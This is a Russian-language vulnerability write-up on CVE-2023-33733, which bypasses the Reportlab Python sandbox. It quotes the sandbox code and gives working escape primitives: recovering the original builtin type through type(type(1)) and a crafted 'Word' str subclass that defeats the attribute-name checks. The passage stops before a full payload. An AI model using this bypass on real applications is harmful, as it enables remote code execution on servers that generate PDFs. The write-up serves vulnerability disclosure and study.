
Подробный технический разбор и эксплойт proof-of-concept для CVE-2023-33733 — уязвимости удалённого выполнения кода в Python-библиотеке Reportlab через обход песочницы при обработке HTML-to-PDF.
tl;dr В этом отчете подробно описано, как была найдена и использована RCE в Reportlab. Из-за распространенности Reportlab в обработке HTML в PDF, эта уязвимость может быть доступна во многих приложениях, обрабатывающих PDF-файлы, что делает ее важной для исправления и отслеживания.
Несколько дней назад во время аудита веб-приложения мы заметили, что приложение использует библиотеку Python Reportlab для динамического создания PDF-файлов из HTML-ввода. Было обнаружено, что Reportlab имеет ранее исправленную уязвимость, приводящую к выполнению кода. Это означает, что найти обходной путь для исправления было довольно интересно с точки зрения злоумышленника, так как это привело бы к повторному обнаружению выполнения кода, особенно потому что библиотека Reportlab также используется в других приложениях и инструментах.
Прежде всего, краткий обзор: Reportlab — это проект с открытым исходным кодом, который позволяет создавать документы в формате Adobe Portable Document Format (PDF) с использованием языка программирования Python. Он также создает диаграммы и графики данных в различных растровых и векторных форматах, а также в PDF.
Библиотека известна тем, что в 2019 году эксплойт, похожий на этот, приводил к удаленному выполнению кода через атрибут Color HTML-тегов; содержимое атрибута напрямую вычислялось как выражение Python с помощью функции eval, что приводило к выполнению кода. Чтобы смягчить проблему, Reportlab реализовал песочницу, назвав ее rl_safe_eval, которая лишена всех встроенных функций Python и имеет несколько переопределенных встроенных функций, чтобы разрешить выполнение безопасного кода библиотеки, одновременно блокируя доступ к любым опасным функциям и библиотекам, которые могут привести к созданию опасного кода Python:
Пример таких мер предотвращения: встроенная функция getattr переопределяется ограниченной функцией __rl_getitem__, которая запрещает доступ к любым опасным атрибутам объектов, например начинающимся с __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# В ЭТОЙ СТРОКЕ МОЖНО УВИДЕТЬ, ЧТО ВСТРОЕННЫЙ GETATTR ЗАМЕНЕН НА ПОЛЬЗОВАТЕЛЬСКУЮ ФУНКЦИЮ,
# КОТОРАЯ ПРОВЕРЯЕТ БЕЗОПАСНОСТЬ ПЕРЕДАННОГО ИМЕНИ АТРИБУТА ПЕРЕД ЕГО ПОЛУЧЕНИЕМ
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# ВЫПОЛНЯЕТСЯ НЕСКОЛЬКО ПРОВЕРОК ПЕРЕД ПОЛУЧЕНИЕМ АТРИБУТА И ЕГО ВОЗВРАТОМ
# ВЫЗЫВАЮЩЕМУ В СРЕДЕ EVAL ПЕСОЧНИЦЫ
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Проверяет, разрешены ли имена.
Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
дополнительно разрешены, хотя их имена начинаются с `_`.
"""
if isinstance(name,strTypes):
# НЕТ ДОСТУПА К АТРИБУТАМ, НАЧИНАЮЩИМСЯ С __ ИЛИ СОВПАДАЮЩИМ С ПРЕДОПРЕДЕЛЕННЫМИ НЕБЕЗОПАСНЫМИ ИМЕНАМИ
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Безопасный eval, как описано выше, очищает среду от всех опасных функций, так что выполняемый код не имеет доступа к опасным инструментам, которые можно использовать для выполнения вредоносных действий. Однако, если найден обходной путь для этих ограничений и получен доступ к одной из оригинальных встроенных функций, это значительно облегчит эксплуатацию среды песочницы.
Одним из многих переопределенных встроенных классов является type. Если этот класс вызывается с одним аргументом, он возвращает тип объекта. Однако, если он вызывается с тремя аргументами, он возвращает новый объект типа. Это, по сути, динамическая форма оператора class. Другими словами, это может позволить создать новый класс, наследующий от другого класса.
Итак, идея состоит в том, чтобы создать новый класс с именем Word, наследующий от str, который при передаче в пользовательский getattr обходит проверки и позволяет получить доступ к чувствительным атрибутам, таким как __code__.
Перед тем, как пользовательский getattr в sandboxed eval вернет атрибут, он выполняет некоторые проверки, вызывая __rl_is_allowed_name__, чтобы проверить безопасность вызываемого атрибута, прежде чем вызвать встроенный Python getattr и вернуть результат.
def __rl_is_allowed_name__(self, name):
"""Проверяет, разрешены ли имена.
Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
дополнительно разрешены, хотя их имена начинаются с `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Чтобы обойти функцию __rl_is_allowed_name__, класс Word должен:
False для вызовов функции startswith, чтобы обойти (name.startswith('__')False при первом вызове __eq__, чтобы обойти name in __rl_unsafe__; после первого вызова он должен возвращать правильный ответ, потому что когда __eq__ вызывается встроенным Python getattr, он должен вернуть правильный результат.Следующий класс удовлетворяет этим критериям:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
Пользовательская функция type в безопасном eval не позволяет передавать ей три аргумента:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Обходной путь был найден путем вызова type на самом себе, что позволяет получить оригинальную встроенную функцию type:
orgTypeFun = type(type(1))
Объединение этих двух строк кода даст примерно следующее:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
Оригинальный эксплойт имел несколько недостатков, которые делали его эксплуатируемым только на Python 3.10. Чтобы решить эти проблемы, был разработан новый подход для доступа к модулю os Python.
Библиотека Reportlab переопределяет реализацию нескольких встроенных функций и внедряет их как globals в контекст eval.